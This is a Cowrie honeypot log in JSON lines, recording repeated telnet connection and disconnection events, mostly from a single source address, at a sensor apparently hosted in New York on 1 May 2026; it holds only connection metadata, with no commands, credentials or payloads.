{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":57510,"dst_ip":"159.203.135.109","dst_port":23,"session":"744bffdf1135","protocol":"telnet","message":"New connection: 154.53.41.252:57510 (159.203.135.109:23) [session: 744bffdf1135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:20.259105Z"}
{"eventid":"cowrie.session.closed","duration":30.778736114501953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:20.581105Z","src_ip":"157.173.110.44","session":"f8e8f04e4c3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":49994,"dst_ip":"10.17.0.5","dst_port":23,"session":"3fd1f789b2fa","protocol":"telnet","message":"New connection: 157.173.110.44:49994 (10.17.0.5:23) [session: 3fd1f789b2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:20.647840Z"}
{"eventid":"cowrie.session.closed","duration":31.676382064819336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:20.961885Z","src_ip":"80.65.211.42","session":"bd52fd29448a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":50002,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a220a19a399","protocol":"telnet","message":"New connection: 157.173.110.44:50002 (10.17.0.5:23) [session: 5a220a19a399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:21.175346Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57634,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8b1f942d30a","protocol":"telnet","message":"New connection: 157.173.110.44:57634 (10.17.0.5:23) [session: c8b1f942d30a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:22.608446Z"}
{"eventid":"cowrie.session.closed","duration":30.729610443115234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:22.668124Z","src_ip":"157.173.110.44","session":"5064e0269386","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57640,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddba2bacca5a","protocol":"telnet","message":"New connection: 157.173.110.44:57640 (10.17.0.5:23) [session: ddba2bacca5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:22.784720Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57644,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7fb5e80731d","protocol":"telnet","message":"New connection: 157.173.110.44:57644 (10.17.0.5:23) [session: b7fb5e80731d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:23.313645Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57656,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f1ecd7d43be","protocol":"telnet","message":"New connection: 157.173.110.44:57656 (10.17.0.5:23) [session: 5f1ecd7d43be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:23.784989Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57668,"dst_ip":"10.17.0.5","dst_port":23,"session":"1228caee6a81","protocol":"telnet","message":"New connection: 157.173.110.44:57668 (10.17.0.5:23) [session: 1228caee6a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:24.230388Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57684,"dst_ip":"10.17.0.5","dst_port":23,"session":"31b7530f7682","protocol":"telnet","message":"New connection: 157.173.110.44:57684 (10.17.0.5:23) [session: 31b7530f7682]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:24.311872Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57700,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8ea4a4d75a9","protocol":"telnet","message":"New connection: 157.173.110.44:57700 (10.17.0.5:23) [session: a8ea4a4d75a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:24.469455Z"}
{"eventid":"cowrie.session.closed","duration":30.879680156707764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:25.031470Z","src_ip":"154.53.41.252","session":"68ba0fd66a41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54105567932129,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:25.185893Z","src_ip":"157.173.110.44","session":"4f45cd2643eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.484596967697144,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:25.343019Z","src_ip":"157.173.110.44","session":"e1e05403fd83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57702,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf1192bfe86a","protocol":"telnet","message":"New connection: 157.173.110.44:57702 (10.17.0.5:23) [session: cf1192bfe86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:25.364621Z"}
{"eventid":"cowrie.session.closed","duration":30.730918169021606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:26.016860Z","src_ip":"154.53.41.252","session":"6e7ecfec5a30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.960179328918457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:26.228286Z","src_ip":"157.173.110.44","session":"571ff7301579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.356892108917236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:26.511998Z","src_ip":"157.173.110.44","session":"5c50f18903ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.131768465042114,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:27.189867Z","src_ip":"157.173.110.44","session":"fccc1aa3b4de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969743490219116,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:27.251582Z","src_ip":"157.173.110.44","session":"e74f0cfd9abd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746684074401855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:28.357160Z","src_ip":"157.173.110.44","session":"87d2ea6bb3b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809110164642334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:28.513068Z","src_ip":"157.173.110.44","session":"bd639441e51c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57708,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b6a450988e8","protocol":"telnet","message":"New connection: 157.173.110.44:57708 (10.17.0.5:23) [session: 6b6a450988e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:28.860651Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57720,"dst_ip":"10.17.0.5","dst_port":23,"session":"aae2f90ffe73","protocol":"telnet","message":"New connection: 157.173.110.44:57720 (10.17.0.5:23) [session: aae2f90ffe73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:29.832316Z"}
{"eventid":"cowrie.session.closed","duration":31.267179012298584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:31.385385Z","src_ip":"157.173.110.44","session":"e3902ed38ee0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":57732,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b67399b5ae6","protocol":"telnet","message":"New connection: 157.173.110.44:57732 (10.17.0.5:23) [session: 6b67399b5ae6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:31.529998Z"}
{"eventid":"cowrie.session.closed","duration":31.26351046562195,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:31.960222Z","src_ip":"157.173.110.44","session":"190e332ff4d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.508193969726562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:32.089736Z","src_ip":"157.173.110.44","session":"fd7081ad24dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46612000465393,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:32.926932Z","src_ip":"154.53.41.252","session":"ca42158cd9e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":48688,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf8bbdbb19f2","protocol":"telnet","message":"New connection: 157.173.110.44:48688 (10.17.0.5:23) [session: bf8bbdbb19f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:33.065707Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":48692,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfd652802c32","protocol":"telnet","message":"New connection: 157.173.110.44:48692 (10.17.0.5:23) [session: bfd652802c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:34.565071Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":48708,"dst_ip":"10.17.0.5","dst_port":23,"session":"3badd2f6bcf2","protocol":"telnet","message":"New connection: 157.173.110.44:48708 (10.17.0.5:23) [session: 3badd2f6bcf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:34.608317Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":48720,"dst_ip":"10.17.0.5","dst_port":23,"session":"35fa5e3827a8","protocol":"telnet","message":"New connection: 157.173.110.44:48720 (10.17.0.5:23) [session: 35fa5e3827a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:36.615559Z"}
{"eventid":"cowrie.session.closed","duration":30.903469800949097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:39.281327Z","src_ip":"157.173.110.44","session":"8b070a1be93f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.454944372177124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:40.385337Z","src_ip":"157.173.110.44","session":"71fd0b46384b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59154,"dst_ip":"10.17.0.5","dst_port":23,"session":"31a7aca39c76","protocol":"telnet","message":"New connection: 157.173.110.44:59154 (10.17.0.5:23) [session: 31a7aca39c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:42.068241Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59162,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cdbdef12194","protocol":"telnet","message":"New connection: 157.173.110.44:59162 (10.17.0.5:23) [session: 4cdbdef12194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:42.591037Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59168,"dst_ip":"10.17.0.5","dst_port":23,"session":"990547aaf3b3","protocol":"telnet","message":"New connection: 157.173.110.44:59168 (10.17.0.5:23) [session: 990547aaf3b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:42.608710Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59170,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a4b955315df","protocol":"telnet","message":"New connection: 157.173.110.44:59170 (10.17.0.5:23) [session: 7a4b955315df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:42.982344Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59182,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7ddda506490","protocol":"telnet","message":"New connection: 157.173.110.44:59182 (10.17.0.5:23) [session: a7ddda506490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:43.174966Z"}
{"eventid":"cowrie.session.closed","duration":30.23032259941101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:43.205952Z","src_ip":"157.173.110.44","session":"1b80bed74b8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59190,"dst_ip":"10.17.0.5","dst_port":23,"session":"15176d5b1286","protocol":"telnet","message":"New connection: 157.173.110.44:59190 (10.17.0.5:23) [session: 15176d5b1286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:43.267150Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59206,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c2deb1d4c92","protocol":"telnet","message":"New connection: 157.173.110.44:59206 (10.17.0.5:23) [session: 5c2deb1d4c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:43.492601Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59208,"dst_ip":"10.17.0.5","dst_port":23,"session":"1752605fc4f6","protocol":"telnet","message":"New connection: 157.173.110.44:59208 (10.17.0.5:23) [session: 1752605fc4f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:43.600095Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59214,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7753b7dc9bf","protocol":"telnet","message":"New connection: 157.173.110.44:59214 (10.17.0.5:23) [session: e7753b7dc9bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:43.807150Z"}
{"eventid":"cowrie.session.closed","duration":31.45431423187256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:43.980580Z","src_ip":"157.173.110.44","session":"7538edd44c90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59224,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8e9c4f97efd","protocol":"telnet","message":"New connection: 157.173.110.44:59224 (10.17.0.5:23) [session: b8e9c4f97efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:44.179169Z"}
{"eventid":"cowrie.session.closed","duration":30.72736883163452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:44.740681Z","src_ip":"157.173.110.44","session":"599b6dfef2f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.270949125289917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:44.968022Z","src_ip":"157.173.110.44","session":"82185dc98532","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.803438425064087,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:45.155615Z","src_ip":"157.173.110.44","session":"58ea48db6a66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59228,"dst_ip":"10.17.0.5","dst_port":23,"session":"68e51e1aac59","protocol":"telnet","message":"New connection: 157.173.110.44:59228 (10.17.0.5:23) [session: 68e51e1aac59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:45.820825Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59242,"dst_ip":"10.17.0.5","dst_port":23,"session":"74dd7a6d0072","protocol":"telnet","message":"New connection: 157.173.110.44:59242 (10.17.0.5:23) [session: 74dd7a6d0072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:45.883546Z"}
{"eventid":"cowrie.session.closed","duration":31.829014539718628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:45.921904Z","src_ip":"157.173.110.44","session":"0cc007d8cbb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653332710266113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:46.324124Z","src_ip":"157.173.110.44","session":"f964ec3139f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59244,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbf194eae3bc","protocol":"telnet","message":"New connection: 157.173.110.44:59244 (10.17.0.5:23) [session: bbf194eae3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:47.091399Z"}
{"eventid":"cowrie.session.closed","duration":30.38194251060486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:47.245197Z","src_ip":"157.173.110.44","session":"e65fa2757937","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05794596672058,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:47.270649Z","src_ip":"157.173.110.44","session":"9f4792aceb6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59256,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c376abd12ee","protocol":"telnet","message":"New connection: 157.173.110.44:59256 (10.17.0.5:23) [session: 1c376abd12ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:47.702233Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59260,"dst_ip":"10.17.0.5","dst_port":23,"session":"f61475f1a592","protocol":"telnet","message":"New connection: 157.173.110.44:59260 (10.17.0.5:23) [session: f61475f1a592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:48.183426Z"}
{"eventid":"cowrie.session.closed","duration":30.84728455543518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:48.251885Z","src_ip":"157.173.110.44","session":"c64bfde60e83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.077417373657227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:48.319378Z","src_ip":"157.173.110.44","session":"aa19c30f1946","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.356886386871338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:48.463569Z","src_ip":"157.173.110.44","session":"d22820b2bc9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.753898859024048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:48.487451Z","src_ip":"157.173.110.44","session":"cb7642d95e0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59268,"dst_ip":"10.17.0.5","dst_port":23,"session":"91e0e0da9402","protocol":"telnet","message":"New connection: 157.173.110.44:59268 (10.17.0.5:23) [session: 91e0e0da9402]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:49.088039Z"}
{"eventid":"cowrie.session.closed","duration":30.764384746551514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:49.363611Z","src_ip":"157.173.110.44","session":"9a8e3655343c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84121060371399,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:49.444388Z","src_ip":"157.173.110.44","session":"507c51dfebb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59272,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3540a8d60cb","protocol":"telnet","message":"New connection: 157.173.110.44:59272 (10.17.0.5:23) [session: c3540a8d60cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:49.708342Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59286,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd7eed421f90","protocol":"telnet","message":"New connection: 157.173.110.44:59286 (10.17.0.5:23) [session: fd7eed421f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:50.003988Z"}
{"eventid":"cowrie.session.closed","duration":31.055519342422485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:50.484282Z","src_ip":"157.173.110.44","session":"cd9d693f08c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.153661251068115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:51.412692Z","src_ip":"154.53.41.252","session":"744bffdf1135","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":59296,"dst_ip":"10.17.0.5","dst_port":23,"session":"499fafbe6898","protocol":"telnet","message":"New connection: 157.173.110.44:59296 (10.17.0.5:23) [session: 499fafbe6898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:51.701333Z"}
{"eventid":"cowrie.session.closed","duration":31.556370973587036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:51.798444Z","src_ip":"157.173.110.44","session":"d6a3e4df7727","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24274253845215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:51.890322Z","src_ip":"157.173.110.44","session":"3fd1f789b2fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36940,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b72b7dbd158","protocol":"telnet","message":"New connection: 157.173.110.44:36940 (10.17.0.5:23) [session: 1b72b7dbd158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:52.237669Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36944,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a7323dce462","protocol":"telnet","message":"New connection: 157.173.110.44:36944 (10.17.0.5:23) [session: 0a7323dce462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:52.290341Z"}
{"eventid":"cowrie.session.closed","duration":31.436304807662964,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:52.611554Z","src_ip":"157.173.110.44","session":"5a220a19a399","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36954,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddacf6794c45","protocol":"telnet","message":"New connection: 157.173.110.44:36954 (10.17.0.5:23) [session: ddacf6794c45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:52.677059Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.173.110.44","src_port":36962,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9425de460d0","protocol":"telnet","message":"New connection: 157.173.110.44:36962 (10.17.0.5:23) [session: f9425de460d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:53.140638Z"}
{"eventid":"cowrie.session.closed","duration":30.559242486953735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:14:53.167575Z","src_ip":"157.173.110.44","session":"c8b1f942d30a","protocol":"telnet"}
